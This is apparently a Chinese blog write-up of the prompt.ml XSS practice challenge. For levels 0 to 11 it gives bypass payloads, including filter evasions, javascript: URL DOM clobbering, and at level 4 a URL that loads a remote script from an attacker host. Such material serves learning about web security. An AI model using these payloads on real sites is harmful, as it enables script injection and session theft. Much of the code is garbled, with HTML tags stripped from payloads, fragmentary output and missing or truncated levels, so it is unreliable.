xss练习-prompt(1) to win

链接地址:

http://prompt.ml/0

规则

1、成功执行prompt(1).
2、payload不需要用户交互
3、payload必须对下述浏览器有效:
- Chrome(最新版)
- Firefox(最新版)
- IE10 及以上版本(或者IE10兼容模式)

4、每个级别至少给出两种浏览器的答案
5、字符越少越好

level 0

function escape(input) {// warm up// script should be executed without user interactionreturn ''">';
} 

闭合以后就好说

">//
">1)

level 1

function escape(input) {// tags stripping mechanism from ExtJS library// Ext.util.Format.stripTagsvar stripTagsRE = /<\/?[^>]+>/gi;input = input.replace(stripTagsRE, '');return '
' + input + '
'
; }

这个主要有正则的过滤,这个是将<>之间进行匹配,然后替换成空,所以不能出现>

=prompt(1)

还有其他

1 onerror=prompt(1)

level 2

function escape(input) {//                      v-- frowny faceinput = input.replace(/[=(]/g, '');// ok seriously, disallows equal signs and open parenthesisreturn input;
}   

这个正则表示的是将=(替换为空
所以只有将其进行编码绕过

<script>prompt&#40;1)script>

由于要想将编码还原,即((十六进制)或者((十进制)或者((html实体编码)会被还原成
这里的svg不能去掉,没有的话就直接执行了,原因在于script属于Raw text elements,内部文本遵循着不转义规则,svgHTML的语境下,属于Foreign Elements,意味着标准不由HTML定义。而遵循着SVG的定义。SVG直接继承自XML,它和XML一样,解析规则只区分两种情况:正常情况下,实体会被转义,如<;被转义为<(]]>包含的实体则不转义,而\u0028只有有在ECMAScript上下文的字符串、正则表达式、标志符中才被当作(
官方wp中还将简化一种

<script>prompt&#40;1)

但其不能在chrome中运行成功
还有一种支持es6的情况,使用eval会自动解码执行

或是

<script>prompt.call`${1}`script>

level 3

function escape(input) {// filter potential comment end delimitersinput = input.replace(/->/g, '_');// comment the input to avoid script executionreturn '';
}    

这个是将->替换成_,并要求绕过注释
这个只要想办法闭合注释即可,在2012年的时候,html可以-->--!>闭合注释

--!><svg/onload=prompt(1)

level 4

function escape(input) {// make sure the script belongs to own site// sample script: http://prompt.ml/js/test.jsif (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {var script = document.createElement('script');script.src = input;return script.outerHTML;} else {return 'Invalid resource.';}
}        

不懂
1、这个题目是利用url的特性绕过,浏览器支持这样的url:

http://user:password@attacker.com。但是http://user:password/@attacker.com是不允许的。由于这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过,如下:http://prompt.ml%2f@attacker.com。所以域名越短,答案就越短。
//prompt.ml%2f@xx.xx.xx.xx/1.JS

(这里用了@的黑魔法,后面是自己xss)

level 5

function escape(input) {// apply strict filter rules of level 0// filter ">" and event handlersinput = input.replace(/>|on.+?=|focus/gi, '_');return ''" type="text">';
}        

过滤了>,也就是说不能闭合,由于onxxx=全部替换成_,这里利用回车绕过即可
然后有一种方法就是利用image类型,由于最后的type并不能覆盖前一个type,所以完全可以定义一个类型

"type=image src onerror
="prompt(1)

level 6

function escape(input) {// let's do a post redirectiontry {// pass in formURL#formDataJSON// e.g. http://httpbin.org/post#{"name":"Matt"}var segments = input.split('#');var formURL = segments[0];var formData = JSON.parse(segments[1]);var form = document.createElement('form');form.action = formURL;form.method = 'post';for (var i in formData) {var input = form.appendChild(document.createElement('input'));input.name = i;input.setAttribute('value', formData[i]);}return form.outerHTML + '                         \n\
                                                 \n\';} catch (e) {return 'Invalid form data.';}
}        

分析源码可以看到,大概是由#分割,前面赋给form.action,使method=post,后面以json格式赋给formdata,把formdata中的属性循环赋给了input。后面满足forms.action存在即执行提交,所以这里使用js伪协议。由于允许我们创建我们自己的输入,这些输入可以用来破坏窗体的action属性。由于DOM破坏,document.forms [0] .action将返回我们新创建的输入字段而不是实际的action属性,因此可以执行JavaScript

javascript:prompt(1)#{"action":1}

level 7

function escape(input) {// pass in something like dog#cat#bird#mouse...var segments = input.split('#');return segments.map(function(title) {// title can only contain 12 charactersreturn '

0, 12) + '">

'
;}).join('\n'); }

意思是根据#分离,每一部分赋给一个title,如果超过12字符,就截取前12个。

">onload='/*#*/prompt(1)'

结果

class="comment" title=""><svg/a=">

comment" title=""onload='/*">p> <p class="comment" title="*/prompt(1)'">p>

官方提供了几个在MSIE的解答

"> ';
}        

按理说过滤了\r\n,返回了// console.log("input"),所以需要绕过过滤规则逃逸注释符,类似结果如下:


这里过滤了两个换行符,所以用到了一个特殊的编码技巧:

U+2028,是Unicode中的行分隔符。
U+2029,是Unicode中的段落分隔符。
–> 在 js 中可当注释使用 

也就是答案给的是这,但是无法复现
[U+2028]prompt(1)[U+2028]-->

level 9

function escape(input) {// filter potential start-tagsinput = input.replace(/<([a-zA-Z])/g, '<_$1');// use all-caps for headinginput = input.toUpperCase();// sample input: you shall not pass! => YOU SHALL NOT PASS!return '

' + input + '

'
; }

正则简单,就是将<后面的所有字符前全部加_,也就是将,成功加载远程的js脚本。

level 10

function escape(input) {// (╯°□°)╯︵ ┻━┻input = encodeURIComponent(input).replace(/prompt/g, 'alert');// ┬──┬ ノ( ゜-゜ノ) chill out broinput = input.replace(/'/g, '');// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BROreturn ' ';
}     

这题太简单了,只是进行了html编码,然后将prompt替换成alert,由于还将'替换为空,所以很好绕过
注:encodeURIComponent()不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。
p'rompt(1)

level 11

function escape(input) {// name should not contain special charactersvar memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');// data to be parsed as JSONvar dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';// directly "parse" data in script contextreturn '                                \n\
 ';
}     

先测试一下

这里写图片描述

发现如果名字相同,一定会输出后面,这也就是需要构造"message":prompt(1)
可是原先有引号,想闭合,发现正则表达式几乎全部过滤,所以只能另想办法
这里的技巧是利用字母操作符来绕过限制,例如ininstanceof等等,在这里这两个可以执行成功,payload"(prompt(1))instanceof"或者"(prompt(1))in"

还有就是”test”(alert(1))虽然会提示语法错误, 但是还是会执行js语句。类似的alert(1)in”test”也是一样

这里写图片描述

虽然报错,但仍可以弹窗

level 12


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章